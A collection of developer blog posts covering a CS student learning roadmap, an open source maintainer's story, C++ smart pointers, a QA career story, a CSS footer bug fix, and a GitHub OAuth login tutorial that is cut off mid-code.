Before thinking about cloud platforms, machine learning models, cybersecurity tools, or DevOps pipelines, you need to become comfortable with basic programming concepts.
Focus on things like:

Variables
Data types
Conditions
Loops
Functions
Arrays and data structures
Problem solving
Basic debugging

The specific language matters less than most people think.

Your university may start with C++, Java, Python, or C#. That's fine.

What matters is understanding how programs work.

I've seen students jump straight into trendy topics and then struggle because basic programming logic wasn't solid. When that foundation is weak, every advanced topic feels harder than it should.

Microsoft Learn is useful here because many learning paths are structured, not random collections of videos.

Instead of asking, "What should I learn next?", the path already guides you through the next concept.

Resource:
https://learn.microsoft.com/?wt.mc_id=studentamb_496381

At this stage, don't worry about building impressive projects.
Learn how to write code that works.

Stage 2: Learn Git and the Developer Workflow

This is one of the most overlooked skills among beginners.

Many students spend months learning programming but still don't know how professional developers manage code.

Learning Git early pays off much faster than most students expect.

Get comfortable with:

Repositories
Commits
Branches
Pull requests
Version control basics
GitHub collaboration

The goal isn't becoming a Git expert.

The goal is making Git part of your normal workflow.

Imagine you're working on an assignment.

Instead of keeping files named:

project_final
project_final2
project_final_actual
project_final_latest_final

You use Git commits to track changes properly.
That's a small shift, but it mirrors how software is built in real environments.

The earlier you develop these habits, the easier team projects, hackathons, internships, and open-source contributions become.

Stage 3: Choose One Direction Instead of Chasing Everything

This is where many students get stuck.

They try to learn:

Cloud
AI
Data Science
Cybersecurity
DevOps
Mobile Development
Web Development

All at the same time.

I wouldn't do that.

After building programming fundamentals, pick one direction that genuinely interests you.
Not forever.
Just for the next few months.

For example:

Cloud

Learn:

Cloud fundamentals
Virtual machines
Storage
Networking concepts
Basic Azure services

AI

Learn:

Python
Data handling
Machine learning fundamentals
Generative AI concepts
Model evaluation basics

Data

Learn:

SQL
Data visualization
Data analysis
Databases

DevOps

Learn:

Linux basics
CI/CD concepts
Containers
Automation

Security

Learn:

Security fundamentals
Identity concepts
Threat awareness
Security best practices

Application Development

Learn:

Frontend frameworks
Backend basics
APIs
Databases

The goal isn't specialization.

The goal is reducing noise.

Students often think choosing one path means missing out on everything else.

Actually, it usually helps you learn faster because your attention isn't split across six different roadmaps.

Microsoft Learn has dedicated learning paths for all of these areas, making exploration much easier without constantly searching for the next resource.

Stage 4: Build a Small Project

This is the stage that separates learning from consuming content.

At some point, tutorials stop helping.

The only way forward is building something.

The project does not need to be impressive.

In fact, I would intentionally keep it small.

Examples:

A student expense tracker
A task management application
A weather dashboard
A simple chatbot
A portfolio website
A basic inventory system
A data analysis dashboard

The purpose of the project isn't showing off.

The purpose is discovering what you don't know yet.

Projects expose gaps that tutorials hide.

You suddenly realize:

Your Git workflow needs improvement.
Your debugging skills need work.
Your database knowledge is incomplete.
Your API integration doesn't work properly.

That's normal.

Those lessons are valuable because they're connected to real problems.

University courses often provide theoretical foundations. Personal projects provide practical context.

The combination of both is powerful.

Stage 5: Validate Practical Skills

A lot of students ask me when they should think about certifications and credentials.

My answer is usually:

Not first.

Not second.

Definitely not before learning the fundamentals.

Once you've built some practical skills and completed projects, then credentials start making more sense.

One thing I like about Microsoft Learn is that it doesn't only focus on reading content.

Students can also explore:

Role-based learning paths
Applied Skills
Technical credentials
Hands-on exercises

Applied Skills are particularly interesting because they focus on demonstrating practical abilities in specific scenarios rather than simply collecting study material.
At this point, credentials become evidence of learning rather than substitutes for learning.
That's an important difference.

How I Would Use Microsoft Learn Alongside University

I would not replace university coursework with online learning.

I would combine them.

For example:

If you're studying databases this semester, reinforce those concepts with database-related learning paths.

If you're learning networking concepts in class, explore cloud networking fundamentals afterward.

If you're working on a software engineering project, use GitHub and developer workflow resources to support that work.

The best approach isn't separating university learning from industry learning.

It's connecting them.

When both reinforce each other, concepts tend to stick much better.

What I Would NOT Do

If I were starting again as a first-year CS student, here are several things I would actively avoid.

I would not collect endless roadmaps.

Eventually, you need one roadmap and consistent effort.

I would not start five certifications at the same time.

Finishing one meaningful learning path is usually better than partially completing several.

I would not chase every technology trend.

New tools appear constantly.

Foundational skills remain valuable much longer.

I would not spend months only watching tutorials.

Learning requires building.

Projects expose weaknesses that passive learning cannot.

I would not compare my progress to students posting achievements online.

Everyone's learning journey is different.

Comparisons often create pressure without creating progress.

A Practical Weekly Routine

If you're currently in your first year, I would keep things simple.

Monday to Friday

Focus primarily on university coursework.
Spend 30 to 45 minutes on a Microsoft Learn learning path.
Take notes on concepts that connect to your classes.

Saturday

Work on a personal project for 2 to 3 hours.
Apply something learned during the week
.

Sunday

Review notes.
Update project progress.
Plan the next week's learning goals.

That's it.

Not six hours every day.

Not three different certifications simultaneously.

Not twenty browser tabs full of unfinished tutorials.

Just consistent progress.

The biggest lesson I've learned is that successful students aren't necessarily the ones learning the most technologies. They're often the ones following a structured path long enough to build real skills.

If you're feeling overwhelmed by the number of technologies out there, don't try to learn everything this semester.

Pick a foundation. Choose a direction. Build something small. Stay consistent.

And if you're looking for a structured place to explore technical topics, Microsoft Learn is a resource worth keeping in your toolkit:

https://learn.microsoft.com/?wt.mc_id=studentamb_496381

If you're currently a CS student, what's the one technology area you're focusing on this semester, and why?

The Full Circle Philosophy Behind py-simple-wrap

Tue, 08 Sep 2026 11:45:15 +0000

Full circle philosophy

Py-simple-wrap is an open source project which I built. It is a python package that is meant both to make python easier for beginners to use by reducing boilerplate code down to 1-2 lines.

Although not something that I expected, when the first contributors started appearing, I pivoted to make the project easy to contribute to as well. I realize how overwhelming contributing can be so I decided to make the process as easy and stress free as possible to empower first time contributors to start their open source journey.

Background/Constraints

Before I get too far in rambling on about py-simple-wrap let me give you some background.

I think back not that long ago to when I first typed print("Hello, world!") on phone (yes, I started learning python on a Samsung phone using the pydroid3 app). After I typed that line I was hooked, but there were times when I almost gave up. One thing that almost made me quit is my dyslexia, small typos are insignificant anywhere else but are the make it or break it factor in a codebase. Had I given up it would have been a huge loss I wouldn't even be aware of. That's why py-simple-wrap puts such strong focus on clear function names and clear parameter names along with clear docstrings with examples.

I started working with python about a year and a half ago - not a whole lot in the grand scheme of things.

On top of that py-simple-wrap is my second ever package (I integrated my first ever package date-formatter-spcm into py-simple-wrap), with the first one being a tiny project. The first package was a much more simple version of the easy_formatter module. I also had no prior project management experience.

If that's not enough right there let me add that I also work full time as a hotel restaurant waitress, which means my time is very limited. Nevertheless, most of the time I'm not waiting tables, I'm working on some aspect of py-simple-wrap.

All of the mentioned above means that I’m also learning as I build, maintain, review code, etc. Is it challanging? Yes, for sure! Is it worth it? Without a doubt.

What about contributing?

Well, I don't have that much experience contributing either. What I do have is plenty of experience in how stressful contributing can be and how daunting that first PR is. I have anxiety. And said anxiety made me feel like a bad PR would be the end of the world, I worried I would look like a fool or a joke to other devs and like one bad PR could break someone's code (and mind you I do know that PRs can't just break someone's code).

I finally made my first PR in June of this year. I was lucky enough to volunteer at EuroPython 2026, and during the sprints I finally made my first couple of contributions — and saw my first ever merged PR happen right there in person. What made that possible was being right next to the Napari maintainers while it happened. They were warm, supportive, and helpful, with good humor and a fun, light atmosphere that made a nerve-wracking first PR feel like a lot less of a big deal. Huge shout out to the Napari team! I'm trying to bring that same atmosphere to py-simple-wrap contributions.

Unexpected growth

When I first started working on py-simple-wrap I didn't expect it to grow much. But now, within the first month and a half, we have a community of 40+ contributors, 20+ stars, 40+ forks, and I built that with zero prior project management experience. I'm proud of that.

I’m learning as I do, I keep trying to improve and do better. It’s turning out to be a wonderful, wild and wonderfully wild adventure!

Contributors Quest

As I mentioned, the amount of contributions took me by surprise, but I also realized the project being seen is a great opportunity to make yet another area more approachable. I realize all the stress and anxiety often involved in making a first PR, I also realize how important contributing to open source is, and how much of a joy it can be to build as a community (big or small).

I managed to work out a few ways to make contributing as easy as I can (and I’m still looking for more ways). I make sure there are always first-contributor, good-first-issue issues for a variety of contribution types (from docs, through tests, to working on a module), if changes on a PR are requested I try to make sure the contributor knows they can reach out for help. There is also a small (but growing) library of contributing tutorials including templates (for example docstring template), all of this is in an effort to make contributing more accessible and less scary.

Another thing I added is contributors quest, a gamified, RPG style game for the contributors with the ability to view the leaderboard, join a guild (or two, or three, for instance: 🪄 The Module Magicians' Guild, 🛡️ The Test Sentinels' Order, or 📜 The Lore Keepers' Circle), take part in challenges and more. I will admit that this particular element (contributors quest) was vibe coded in another project. I hope this small addition brings a little extra spark of fun for everyone!

AI leveraged workflows

With a few hours (1h–3h) on work days and up to 8h on days off, I needed a way to make the most of limited time and limited energy.

I'm not the biggest fan of using AI to write code — I mostly use it as a tool to help me learn, not to hand off the actual logic. But automation is a different story, so I decided to leverage it there. I used Claude and Claude Code to build workflows that handle the tasks that don't need to be done by hand.

Some of the most time-saving automations I implemented are: one that opens new issues based on modules missing tests, docs, etc., another that helps with releasing new versions to PyPI, and more. Thanks to this I was able to maximize the time I spent reviewing code, merging PRs, and of course coding!

The py-simple-wrap hope

This project has already grown to unexpected proportions, and my single biggest hope is that it grows to become not only a package that simplifies python for beginners but also a full circle of learners learning together and helping others.

When I close my eyes and imagine what I want py-simple-wrap to be I imagine this: a project with an active community that is kind and supportive, composed of python learners of all levels growing together and helping new contributors join the team and learn and grow. A full circle where newcomers can learn that contributing can be empowering, fun and exciting, and new Pythonistas get the chance to make bigger projects that make them want to understand python even more in depth.

What Was Your First Programming Language?

Sun, 06 Sep 2026 21:21:42 +0000

Once upon a time there was a kid and an IBM PS/2. I was 11, armed with QBasic By Example (1993) and way too much curiosity for my own good. That book became my doorway into programming. PRINT loops, GOTO chaos, line numbers, and the thrill of watching a computer do exactly what I told it to, or crash spectacularly when I didn’t.

From there was a quick jump into C and later C++. I didn’t know it at the time, but that little QBasic book had already wired my brain for how code behaves, not just how it looks on the page. Moving into C felt like leveling up. Suddenly I had pointers, headers, real control flow, and enough rope to hang myself with. The best part was being able to compile and link my own .exe files and give them to friends.

C++ came next, bringing classes, objects, and a whole new way of thinking about structure. Moving from procedural programming into OOP was a huge step and tough to learn... I wont discuss my frustration with pointers...

Eventually I landed in C#, which felt like the modern, sane evolution of everything I’d learned up to that point. It had the structure I liked from C++, the clarity I wished C had, and enough guardrails to let me focus on building instead of fighting the language. It’s been home ever since.

What kicked off your programming life?
Was it Python? JavaScript? TI‑BASIC on a calculator? Scratch? Something weird and obscure?
Drop your first language and your age when you started — I want to see how everyone’s path compares.

C++ Smart Pointers, unique_ptr vs shared_ptr vs weak_ptr — How to Choose

Sat, 05 Sep 2026 13:18:53 +0000

When I first learned about smart pointers, I was equally confused by all three of them! They are used to manage memory dynamically. unique_ptr is like a master who is responsible for its pet's life. shared_ptr is like you and your friends renting a house together. weak_ptr is like a bystander who can only watch. This post explains what each one really does, with short examples.

Quick answer: use unique_ptr by default. Use shared_ptr only when ownership is truly shared. Use weak_ptr when you need to observe without owning.

	unique_ptr	shared_ptr	weak_ptr
Ownership model	exclusive ownership	shared ownership	no ownership
Can it be copied	No	Yes	Yes
Can it have multiple owners	No	Yes	No (it owns nothing)
Reference counting overhead	none	atomic count increase/decrease on copy and destroy	touches a separate weak count, never the strong count
How to choose	the default choice	when ownership is truly shared	to break circular references

Unique_ptr

unique_ptr means: "I'm your master and responsible for your life and death."

Example:

#include <iostream>
#include <memory>
using namespace std;

struct Task {
    int mId;
    Task(int id) :mId(id) {
        cout << "Task::Constructor" << endl;
    }
    ~Task() {
        cout << "Task::Destructor" << endl;
    }
};

int main()
{
    unique_ptr<Task> taskPtr(new Task(23));
    int id = taskPtr->mId;

    cout << id << endl;

    return 0;
}

Output:

Task::Constructor
23
Task::Destructor

Why unique_ptr can't be copied

unique_ptr can't be copy-constructed or copy-assigned, because copying would let two unique_ptrs point to the same object — and when both are destroyed, the object would be deleted twice. Instead, you use std::move to transfer ownership.

More on ownership transfer: see my earlier post, reset() vs release() vs std::move.

When to choose unique_ptr

unique_ptr prevents memory leaks caused by programming errors — the object is freed automatically when the pointer goes out of scope, even if you forget to delete.
Ownership can be transferred cheaply with std::move, without copying the managed object.

Shared_ptr

shared_ptr means: the house is rented together by friends. When one friend moves out, the house still belongs to the rest — the object is destroyed only when the last owner releases it.

Example:

#include <iostream>
#include <memory>

class House {
public:
    House()  { std::cout << "That's a big house." << std::endl; }
    ~House() { std::cout << "Bye" << std::endl; }
};

int main() {
    std::shared_ptr<House> friend1 = std::make_shared<House>();  // one allocation: object + control block
    std::shared_ptr<House> friend2 = friend1;  // a roommate moves in

    std::cout << friend1.use_count() << std::endl;  // 2
    std::cout << friend2.use_count() << std::endl;  // 2

    friend1.reset();  // a friend moves out
    std::cout << friend2.use_count() << std::endl;  // 1
    return 0;
}

Each shared_ptr copy increments the reference count; each destruction or reset() decrements it. When the count reaches zero, the object is destroyed.

Thread safety of shared_ptr

The member functions of shared_ptr (including the copy constructor and copy assignment operator) can be called on different shared_ptr instances from multiple threads at the same time without any extra synchronization. However, if multiple threads access the same shared_ptr instance and at least one of them calls a non-const member function, a data race occurs. To share the same instance safely, use std::atomic<std::shared_ptr<T>> (since C++20). In C++11/14/17, use the free functions std::atomic_load() and std::atomic_store() instead.

The trap of shared_ptr: circular references

shared_ptr has one famous trap: circular references. If two objects own each other with shared_ptr, neither reference count can ever reach zero — the memory leaks even after you drop all external references. A doubly-linked structure shows the shape of the problem:

#include <memory>

struct Node {
    std::shared_ptr<Node> next;
    std::weak_ptr<Node> prev;  // must NOT be shared_ptr — otherwise two nodes
                               // keep each other alive forever and leak
};

Use weak_ptr for the "back" direction. It breaks the cycle: the object is freed when no one strongly owns it, and the back-pointer simply expires.

Weak_ptr

weak_ptr means: I'm a bystander. I can observe you, but I'm not responsible for you.

Example:

#include <iostream>
#include <memory>

class Object {
public:
    Object(int value) : data(value) {
        std::cout << "Object created with value: " << data << std::endl;
    }
    ~Object() {
        std::cout << "Object destroyed with value: " << data << std::endl;
    }
    int data;
};

int main() {
    std::shared_ptr<Object> sharedObjectA = std::make_shared<Object>(42);
    std::weak_ptr<Object> weakObjectA = sharedObjectA;

    if (auto sp = weakObjectA.lock()) {  // safe idiom: check and lock in one step
        std::cout << "Value: " << sp->data << std::endl;
    } else {
        std::cout << "Object is gone" << std::endl;
    }

    sharedObjectA.reset();
    std::cout << "End of the Program" << std::endl;
    return 0;
}

Key member functions

lock(): if the object is still alive, returns a temporary shared_ptr; if it has been destroyed, returns an empty shared_ptr. Always use if (auto sp = w.lock()) instead of calling expired() and then lock() separately — the object could be destroyed between the two calls.
expired(): checks whether the managed object has already been destroyed.
reset(): releases the weak reference.
swap(): swaps the managed object with another weak_ptr.

Application

Breaking circular references: when an object needs to reference another object without owning it — like Node::prev above — use weak_ptr. The cycle is broken, and both objects are safely released when no longer needed.
Caching systems: caches often hold weak_ptrs so they don't keep objects alive; when an object is no longer used anywhere else, the cache entry simply expires instead of leaking.

Q&A

Q: Can a unique_ptr be converted into a shared_ptr?
A: Yes, and it's the only "copy-like" conversion allowed — it actually moves the ownership: std::shared_ptr<T> sp(std::move(up));. The reference count starts at 1 and nobody has to worry about double deletion.

Q: Is shared_ptr thread-safe?
A: Partly. The reference counting is atomic, so copies and destructions on different instances are safe. But the pointed-to object itself is not protected — if two threads read and write the object's data through their shared_ptrs, you still need a mutex or an atomic.

Q: Can I copy a unique_ptr?
A: No, by design — copying would cause the object to be deleted twice. If you really need to transfer it, std::move it.

Reference

Eight Months, One Opportunity, A Lot of Learning — Amita Sharma’s Journey from QA to Development

Wed, 02 Sep 2026 11:24:42 +0000

Eight Months, One Opportunity, A Lot of Learning — Amita Sharma’s Journey from QA to Development

Dev Journey | CoderLegion

Starting your first job can be both exciting and intimidating.

You have spent years studying, learning technologies, completing projects, and preparing for that first opportunity. But when you finally walk into a real workplace, everything can suddenly feel different.

Will I be able to do the work?

Will I understand what everyone is talking about?

What happens when I make a mistake?

For Amita Sharma, her first opportunity came through a college placement drive during her final year.

She went into the process without knowing exactly where it would lead. After an assignment test and two rounds of interviews, she was offered a six-month internship as a QA.

What started as her first corporate experience eventually became much more than that.

Over the next eight months, Amita worked on a real product, learned the fundamentals of quality assurance, discovered the importance of thinking beyond obvious test cases, and eventually got the opportunity to contribute to the development side of the same product.

Today, her experience spans QA, testing, development, and an increasing interest in AI-driven testing.

This is the story of how one opportunity helped her discover that she could do more than she initially thought.

Getting the First Opportunity

Eight months ago, I walked into a college placement drive with honestly no idea where it would take me.

There was an assignment test, followed by two interview rounds. I cleared them and was eventually offered a six-month internship as a QA.

Since it was my final year of college, getting a job before graduating was already a big thing for me.

But getting the offer was one thing, and actually starting was another.

It was my first corporate experience, so I was nervous.

I had so many questions in my head.

Would I be able to do the work?

Would I understand everything?

How would I fit into a completely new environment?

Thankfully, the first few days made things much easier.

Everyone was really welcoming, the team was approachable, and I never felt like I had to figure everything out on my own.

Once the training started and I began working on an actual product, the real learning began.

Discovering What QA Really Involves

When I joined, I had a pretty basic understanding of QA.

Test the feature, find bugs, report them.

But working on QAlity showed me how much more there was to it.

I started working on different features and workflows, reporting and retesting bugs, doing regression testing, and slowly learning to think beyond the obvious scenarios.

I began to understand that testing isn't simply about finding something that doesn't work.

It's about thinking about how people might actually use a product.

What happens if someone takes an unexpected path?

What happens if they enter something you didn't anticipate?

What happens when a new feature interacts with something that was already working?

Those questions gradually became part of the way I approached testing.

The Excitement of Finding My First Bug

I still remember finding my first bug.

It was honestly such a small thing, but I was so happy when I found it.

I don't even know why I was that excited, but I think it was because it made everything feel real.

I was actually testing a product.

I had found something that wasn't working as expected.

And I knew what to do with it.

It was a small moment, but for me it was an important one.

It made me feel like I was no longer just learning about QA.

I was actually doing it.

Learning From a Mentor

My mentor had a big part in helping me get there.

Whenever I got stuck, I had someone to ask, but I was also encouraged to think things through myself.

A simple question like:

"What about this scenario?"

would sometimes send me back to the feature and make me look at it differently.

At first, I needed guidance to figure things out.

Gradually, I became more confident in figuring things out on my own.

That was one of the biggest changes I noticed in myself.

The goal wasn't simply to have someone give me the answer.

It was learning how to find the answer myself.

An Unexpected Turn: From QA to Development

And then my role took a direction I hadn't expected.

Along with QA, I got the opportunity to work on the development side of QAlity too.

I worked on the UI and created pages for the product, which gave me a chance to understand QAlity from a completely different perspective.

That experience was especially valuable because I got to see both sides of the product.

I understood what went into building a feature and also what I needed to think about when testing it.

It gave me a much broader experience than I had imagined when I first joined.

Instead of seeing development and testing as completely separate activities, I started understanding how closely they are connected.

Building something gives you one perspective.

Testing it gives you another.

Having the opportunity to experience both helped me understand the product much more deeply.

Eight Months Later

Now, eight months later, I can see how much has changed.

I came in wondering whether I would be able to do the job.

Today, I have worked on QAlity as a QA, contributed to its development, built UI pages, and taken on things that I wouldn't have imagined myself doing on day one.

Looking back, the biggest change isn't just the number of things I've learned.

It's the confidence I've gained from actually doing them.

The things that seemed intimidating at the beginning gradually became things I knew how to approach.

What I Would Tell Someone Starting Their First Job

If there's one thing I'd tell someone starting their first job, it's to give yourself some time.

You don't have to know everything from the beginning.

Ask questions.

Learn from the people around you.

Take feedback.

And don't hesitate to try something new just because you've never done it before.

Your first job isn't about proving that you already know everything.

It's about learning how to learn in a real environment.

More Than Just a First Job

When I think about these eight months, I don't just think about the work I did.

I think about how much that first opportunity opened up for me.

I joined as a QA intern, but along the way I got to explore development too, learn from some really good people, and discover that I could do more than I initially thought.

And honestly, I think that's what makes these eight months so special to me.

I came here with a lot to learn, and I'm leaving this phase with a lot more experience, confidence, and curiosity about what comes next.

About Amita

Amita Sharma is a Quality Assurance Engineer focused on building reliable, scalable, and efficient testing workflows. Her experience includes manual and automated testing, with a growing interest in AI-driven testing and modern QA practices.

Her CoderLegion profile is:
https://coderlegion.com/user/amitasharmaa

Her technical interests include JavaScript, Python, SQL, Selenium, Playwright, Cypress, Postman, REST APIs, Machine Learning, and Agentic AI.

She is passionate about improving product quality, reducing manual effort, and creating better user experiences through smarter testing solutions.

This story is part of CoderLegion's Dev Journey series, where developers share their real experiences, challenges, lessons, growth, and the opportunities that shaped their careers.

The bug nobody fixed for 4 years (and how it got me my first Contributor badge)

Tue, 01 Sep 2026 23:02:15 +0000

Have you ever opened the issues tab of an open source project, stared at the list, and closed it?

I have. More than once.

The feeling is always the same: "this is for grown-ups, I'm not good enough to touch it". So you close the tab, go back to your side project, and contributing becomes something you'll do when you're "ready".

Spoiler: you'll never be ready. I started by fixing a footer that broke on mobile.

The project and the bug

TimeConv is a simple time converter: you give it a date and it hands you back UTC, seconds, or whatever timezone you asked for. Static site, hand-written HTML and CSS, no framework.

Issue #41 said the footer broke on mobile. Opened in August 2022. Four people passed through it over the years, diagnosed the problem, agreed with the diagnosis...

And not one of them opened a PR.

That's the kind of issue I recommend if you're starting out: old, already diagnosed by other people, and with nobody working on it. Half the work is done and the odds of duplicating someone's effort are low.

The CSS bug that wasn't a CSS bug

The original code did this:

footer {
  position: absolute;
  height: 15vh;
  bottom: 0;
}

Absolutely positioned footer, pinned to the bottom. Works beautifully — until the page has enough content to scroll. Then the footer floats in the middle of your text, because bottom: 0 is relative to the viewport, not to the content.

The modern fix is the flexbox sticky footer: make body a flex column with min-height: 100vh, and give the footer margin-top: auto, which pushes it into whatever space is left over.

I swapped it, tested it, and... two pages didn't budge.

Here's the part I didn't see coming, and the most useful thing I took from this contribution: margin-top: auto only pushes an element if it's a direct child of the flex container. In credits.html the footer sat four levels deep inside a .row — which is a horizontal flex container. And in utcsecondstodatetime.html it was literally outside <body>.

So I opened the HTML of those two files and found a duplicated <html>, orphan </div>s, and tags closing out of order. The file was broken badly enough that prettier couldn't even parse it.

Which means: the issue was filed as a CSS bug, and no amount of CSS was ever going to fix it without touching the HTML. That's why four people diagnosed it and nobody shipped — the diagnosis was only half right.

Final PR: 7 files, 175 lines added, 174 removed.

The red check that almost killed it

PR opened, and CI lights up: Lint Code Base failed.

The beginner reflex (mine included) is to run prettier --write across the repo and push everything green. Don't. That would have added ~138 lines of reindentation to a 7-file PR, and the reviewer would have had to separate the fix from the formatting.

What I did instead was pull the original files from main and run the linter against them:

npx prettier --check docs/
npx htmlhint docs/

Result: the original files already failed. And utcsecondstodatetime.html on main didn't even parse. htmlhint reported 18 errors on the original versus 0 on mine.

I posted that in the PR, with the output from both sides. That is precisely what unblocked the merge — the maintainer could see the red was inherited instead of taking my word for it.

It's a rule for me now:

An inherited red check gets explained with reproduced evidence, not fixed by growing the PR.

Three weeks after opening it (and one polite ping along the way, because maintainers of small projects do go quiet), I got an "Awesome, LGTM!" and the merge.

Hands on: test a static site in 30 seconds

No Node, no build step, nothing:

git clone https://github.com/ArjunSharda/TimeConv.git
cd TimeConv/docs
python3 -m http.server 8000

Open http://localhost:8000, hit F12, turn on the device toolbar and test at 320, 375 and 768 pixels wide. Test one short page and one long page — a footer bug only shows up in one of them.

That's the entire test loop for a static-site contribution. Really.

"But that's just CSS, it doesn't count"

It counts. And let me lay out both sides, because this choice is yours.

Small project. Upside: the maintainer actually reads your PR, the codebase fits in your head, and you get to close the full issue → PR → merge loop, which is where the learning lives. Downside: little reach, sometimes an inactive maintainer, and a process too informal to teach you rigor.

Large project. Upside: serious CI, hard review, documented conventions — you learn the craft. Downside: long review queues, and a real chance someone fixes the bug before you do (that happened to me on another project, and it's an article of its own).

I don't think there's a right side. I think starting small and moving up is kinder to your motivation.

Wrapping up

Seven files, 175 lines added, zero lines of complex logic. Result: a Contributor badge and a four-year-old issue closed.

What was blocking that issue wasn't technical difficulty. It was that nobody had opened the HTML.

Your turn: open the issues tab of a project you actually use, filter by is:issue is:open sort:created-asc, and look at the oldest ones. One of them is waiting for somebody to open the file.

And if you do it, brace yourself for one thing: the merge isn't the end. After mine landed I got excited and kept poking around the site — and while testing the pages in the browser, I noticed the converters only worked once. A second conversion needed a page reload.

There were two bugs. They hid each other, with a side effect that pushed whatever the user typed straight into their browser history.

That's the next article.

Author's note: this was my first contribution to TimeConv, merged in August 2026. I'm documenting every open source contribution I make in this series. If you contribute to open source too, I'd like to hear about it.

References

Understanding GitHub OAuth Login

Mon, 31 Aug 2026 12:19:33 +0000

Starting With Redirects

This is a beginner friendly post.

I am writing it because the GitHub OAuth login flow confused the hell out of me, and it took me a long time to work out why. The confusion was not about the code. The code is short, and you can copy it from anywhere.

What frustrated me was a much simpler question that no tutorial answered directly:

What request/response are being sent/received and who is sending and receiving them?

Every diagram I found showed arrows going back and forth between a browser, my backend, and GitHub. I assumed my backend was talking to GitHub the whole time. It is not. Most of the time it is the browser doing the talking, and my backend is just handing it addresses to go to.

And no, asking an AI did not shortcut it for me. It was frustrating and I had to dig a lot, because AI does not know what gaps we have in our knowledge and neither do we. The answers came back fluent and correct but I stayed just as confused as before.

So if you are a beginner, expect to dig. Even the most advanced model will hand you a tidy summary that reads like understanding but is not one, and it will keep doing that until you learn to ask a sharper questions.

Once that clicked, everything else fell into place. So we are going to go slowly, and we are going to start well before OAuth.

The knowledge gap (Prerequisites)

HTTP requests and responses. You should know that a response has a status code, a set of headers, and a body, and their purpose.
What is a redirect request?(covered in the blog)
Chrome DevTools, specifically the Network tab. You need to be able to open it, watch requests appear as you click around, click a single request, and read its Request Headers and Response Headers. You should also know where the "Preserve log" checkbox is, because without it the list wipes itself every time the page changes, and in this flow the page changes four times.
Writing requests using the fetch API.
Cookies, at least the basics. What are cookies, their basic working, what the Set-Cookie header in a response does, that the browser stores it and attaches it to later requests automatically, and roughly what HttpOnly means. The Application tab in DevTools is where you look at them.
What are cross site requests, and how the browser decides what counts as one and handles it.
Authentication and Authorization with JWT using Express.
And the code used

Part 1: What a redirect actually is

Before we touch OAuth, we need to be completely solid on one thing. Everything depends on it.

The normal case first

When our browser asks a server for a page, it gets back a response made of three parts: a status code, some headers, and a body.

HTTP/1.1 200 OK
Content-Type: text/html

<html><body>Hello</body></html>

The status is 200, which means "here is what you asked for". The body is HTML. The browser paints that HTML on screen. The URL bar shows the address we requested. Nothing surprising.

Now the redirect

A redirect is a response with a status code in the 300s, usually 302, and no body at all.

HTTP/1.1 302 Found
Location: https://github.com/login/oauth/authorize?client_id=abc123

That is the entire response. There is no HTML. There is nothing for the browser to paint.

What there is instead is a header called Location, and its value is an address.

Here is the part I had wrong

I assumed, for a long time, that the server sending this response then goes to that address itself. It does not. The server has finished the request response cycle with this response. It wrote a string into a header, set a status code, and closed the connection. It is done. It has no idea what happens next and it does not wait to find out.

The browser is the one that acts. It reads the Location value and sends a brand new GET request to that address, entirely on its own initiative.

Let us be precise about what "brand new request" means, because this is where the whole flow lives:

It is a separate request, with its own connection.
It gets its own row in the Network tab.
It carries whatever cookies belong to that new address.
It is indistinguishable from the user having typed that address into the URL bar by hand.
If that address also replies with a redirect, the browser does this entire dance again.
And the most important thing is that the browser sends the query parameters along when it requests that address.

Why you never see it happen

Because nothing was rendered. The 302 response had no body, so there was nothing to display, so the URL bar had no reason to update.

This is why a chain of two or three redirects looks like a single instant jump on screen. There were three separate requests. We just never saw the intermediate ones, because none of them produced a page.

The sentence to carry into the rest of this post: a redirect response from someone is telling the browser where to go next.

If you take nothing else from this article, take that.

Part 2: The goal, and the flow in one pass

Now that redirects make sense, let us look at what we are actually building.

The goal is to log a user into our app without our app ever seeing their GitHub password. They type that password on github.com and nowhere else. Our app never touches it, never sees it, so it cannot leak it.

Here is the whole flow before we go into any detail. Read it once to set a context, then we will take it apart piece by piece.

The user clicks a "Log in with GitHub" button, which sends the browser to a route on our own backend.
Our server responds with a redirect pointing at GitHub. The browser follows it.
The user logs in on github.com and approves our app.
GitHub responds with a redirect pointing back at our server. The browser follows that too. The address it points at carries a temporary code.
Our server takes that code and calls GitHub directly, server to server, trading it for an access token.
Our server uses that token to ask GitHub who this person is.
Our backend saves the user, signs its own JWT, sets it in an HttpOnly cookie, and redirects to the dashboard.
And now the user is logged in to our app.

Now count how many of those are our server talking to GitHub over the network.

Steps 5 and 6. That is it. Two requests.

Steps 1 through 4 are all browser navigations, exactly like the one we described in Part 1. Our backend and GitHub are just taking turns handing addresses along with query parameters to our browser through redirect requests.

Part 3: The button, and why it points at our own server

Our login button is an anchor tag:

<a href="http://localhost:5000/api/auth/github">Log in with GitHub</a>

That one line has two decisions baked into it, and I got both of them wrong at first. Let us take them one at a time.

Question one: why does it point at our own Express server?

The obvious thing to do is put GitHub's authorize URL straight into that href. And it would technically work. So why bounce off our own backend first?

The answer is a query parameter called state. We will explain why in Part 7. For now, all we need is that the state must be a fresh random value on every single login attempt, and it must be stored in an HttpOnly cookie.

Hold those two constraints next to the idea of hardcoding the URL in our href.

An href written into JSX is a fixed string. It is baked in when the app is built. Every user, on every attempt, from now until we redeploy, would send the exact same state. A value that never changes is not random, so it defeats the purpose.

"Fine," I thought, "I will generate it in the browser with JavaScript."

But frontend JavaScript cannot set an HttpOnly cookie. That is the entire purpose of the HttpOnly flag. It exists specifically to keep JavaScript away from the value. So we would have to store our state somewhere JavaScript can reach, like localStorage, which means any cross site scripting bug in our app can read it and the protection is gone again.

Let's look at what actually needs to happen:

Generate a random value.
Store it in an HttpOnly cookie.
Send the redirect response taking the user to GitHub's login/consent page.

Those three things have to happen together, in one response. Only a server can do all three. The browser can do the third one, but not the second.

That is why the first stop is our own route, and GitHub comes one step later.

Our client_id, scope and redirect_uri differ between development and production, and on the server they come from environment variables. Keeping the URL construction on the backend means our frontend knows nothing about GitHub at all. That matters a lot the day we add Google login next to it, because nothing in the frontend has to change.

Question two: as the href holds the backend, why an anchor tag and not a GET request using the `fetch` API?

Because our route is going to respond with a redirect, and we need the browser itself to act on it.

An anchor tag hands control to the browser, and the browser makes the GET request and handles the redirect response received. That is what makes the rest of the chain happen at all.

Three things, in a single response.

app.get("/api/auth/github", (req, res) => {
  const state = crypto.randomBytes(32).toString("hex");

  res.cookie("oauth_state", state, {
    httpOnly: true,
    sameSite: "lax",
    maxAge: 10 * 60 * 1000,
    path: "/",
  });

  const params = new URLSearchParams({
    client_id: process.env.GITHUB_CLIENT_ID,
    redirect_uri: "http://localhost:5000/api/auth/github/callback",
    scope: "user:email",
    state,
  });

